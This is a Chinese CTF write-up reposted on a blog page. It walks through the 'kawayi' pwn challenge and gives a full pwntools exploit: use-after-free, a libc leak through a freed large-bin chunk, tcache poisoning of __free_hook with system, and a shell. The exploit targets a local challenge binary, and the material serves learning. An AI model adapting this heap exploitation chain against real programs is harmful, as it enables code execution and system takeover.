首页 > 其他分享 >长城杯CTF2024-PWN-kawayi复现

长城杯CTF2024-PWN-kawayi复现

时间:2024-06-14 11:03:07浏览次数:16  
标签:bin index libc chunk free kawayi CTF2024 io PWN

文件保护
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

libc版本
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

uaf漏洞
free函数没有进行置0操作
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

GDB断点
断点:0xD90
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

泄漏libc
由于v1>3会退出,所以必须在四次申请堆块中拿到shell

第一次申请-创建large bin chunk
因为创建large bin的chunk堆块,所以申请的是0x430
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

第二次申请-创建tcache bin chunk
申请一个tcache bin的chunk堆块,为了防止后面释放large bin的时候进行一个unlink操作
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

释放large bin chunk
释放后fd指针会填入一个libc的地址
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

申请large bin chunk
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

申请tcache bin chunk
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

del large bin
fd指针被赋予了libc的地址,成功泄漏libc
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

进入tcache bin
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

bins指向的也是tcache bin的堆块空间
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

修改fd指针
修改fd指针为__free_hook地址
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

申请/bin/sh地址
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

申请free_hook的空间
将free_hook填入system地址
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

调用free函数,触发free_hook指针,执行system函数

exp

from pwn import *

context(log_level='debug',arch='amd64',os='linux')

filename = './kawayi'
io = process(filename)
elf = ELF(filename)
libc = elf.libc
#

def debug(to_io):
	gdb.attach(to_io,'b *$rebase(0xd90)')

def choice(idx):
	io.sendlineafter("exit\n",str(idx))
	
def add(index,size,content):
	choice(1)
	io.sendlineafter("which index?\n\n",str(index))
	io.sendlineafter("what size?\n\n",str(size))
	io.sendafter("what do u want to talk?\n\n",content)
	
def delete(index):
	choice(2)
	io.sendlineafter("which index?\n",str(index))
	
def edit(index,content):
	choice(3)
	io.sendlineafter("which index?\n\n",str(index))
	io.sendafter("what do u want to write?\n\n",content)
	
def show(index):
	choice(4)
	io.sendlineafter("which index?\n\n",str(index))
	
# 1.创建large bin chunk
add(0,0x430,"abc")
# 2.创建tcache bin chunk
add(1,0x68,"abc")
# 3.通过uaf漏洞,free large bin chunk,读取fd指针地址,泄露libc
delete(0)
show(0)

# 4.计算libc地址
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3EBCA0
print("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.sym['system']

# 5.释放掉1号堆块,进入0x70的tcache bin
delete(1)
# 6.修改fd指针为__free_hook地址(此处无需进行size对齐,猜测2.27的libc未作size检测)
edit(1,p64(libc_base + libc.sym['__free_hook'])+b'abcdefgh')
# 7.申请堆块的空间
add(2,0x68,"/bin/sh;")
# 8.申请free_hook的空间,并将free_hook填入system地址
add(3,0x68,p64(system_addr))
#debug(io)
# 9.调用free函数,触发free_hook指针,执行system函数
delete(2)

io.interactive()


标签:bin,index,libc,chunk,free,kawayi,CTF2024,io,PWN
From: https://blog.csdn.net/qq_63451318/article/details/139675385

相关文章

  • pwn学习-栈迁移
    栈迁移:简单理解就是在栈溢出的时候可溢出的字符过少,只能溢出ebp和ret的地址,可以使用leave_ret这个gadget来实现栈的迁移。在栈中,默认情况下汇编语言在栈结束的时候都默认会执行一次leave和ret指令,我们利用这个特性将返回地址修改为leave_ret的gadget,将会执行两次leave和ret的操......
  • 栈溢出漏洞利用二,ret2syscall,构造rop链条实现攻击(pwn入门)
    原理原理就直接参考别的大佬写的文章讲下了 参考文章:https://blog.csdn.net/qq_33948522/article/details/93880812ret2syscall,即控制程序执行系统调用,获取shellret2syscall通常采用execve(重点函数,32位调用号为0x0b,64位调用号为0x3b)ROPReturnOrientedProgramming,其......
  • BCACTF2024
    被拉去打R3,结果啥都不会,就装模做样写了两道mc。趁假期最后一天找了个比赛玩玩,就挑了解多的写。但最近给我的直观感受,就是什么题都要nc了。不单单是简单的附件题了,更多要考察代码审计和脚本编写了。crypto难度还行。但我对椭圆曲线太不熟了,r3里也有,但我就算看懂了,也不知道怎么......
  • pwn学习-ret2csu
    再上一次学习栈溢出ret2syscall方法时,我们会发现有些gadget不存在,我们只能借用read遗留下来的ebx寄存机调用,这时就可以使用万能gadget,这个万能的gadget存在__libc_csu_init中,由于每个动态链接的程序就有有libc,并且__libc_csu_init用于初始化,所以说几乎每个程序都含有__libc_csu_i......
  • [Black Watch 入群题]PWN 1
    frompwnimport*fromLibcSearcherimport*#p=remote('node4.buuoj.cn',25986)p=process('./a')context(arch='i386',os='linux',log_level='debug')e=ELF('./a')level_ret_addr=0x08048511bss_add......
  • LitCTF2024——ezrc4
    0x01关于rc4rc4简介rc4的维基具体实现step1rc4_init()voidrc4_init(unsignedchar*s_box,unsignedchar*key){ inti=0,j=0; chark[256]; intlen=strlen(key); for(i=0;i<256;i++){ //以256填充s盒 s[i]=i; //使用key循环填充k k[i]=key[i%len]; } //......
  • DASCTF X HDCTF 2024 公开赛|生而无畏战_pwn部分wp
    剩下一个不会写。......
  • LitCTF2024-ZongRan战队WriteUp
    ZongRan战队WriteUpWeb+Misc:MuneyoshiCrypto:chachaReverse:laonazaixiuxingMisc涐贪恋和伱、甾―⑺dé毎兮毎秒解题思路:lsb隐写,直接提取LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5bcb9bd6}你说得对,但__一张二维码扫描一下发现不对,发现这是原神网页binwalk提取一下然后......
  • Litctf2024-Crypto(部分wp)
    common_primes共享素数给了一个e,和多组的n,c。这些n,c还都是一个明文m通过对不同的n进行gcd()算法,求出最大公约数(即p)求出p了,就能求出q,进而求出d,解出明文mfromCrypto.Util.numberimport*importgmpy2n1=6330693176526188188891200809534047097877299962020517485727101......
  • pwn学习-ret2libc
    昨天学习了re2syscall,该方法主要是系统中没有system()函数,也没有/bin/sh字符串,一般该二进制程序使用staticlink静态链接,可以找到很多的gadget,我们可以利用这些gadget进行系统调用但是在动态链接时,gadget就变少了,也是同样的没有system()函数,这时我们需要再函数动态绑定的libc中找......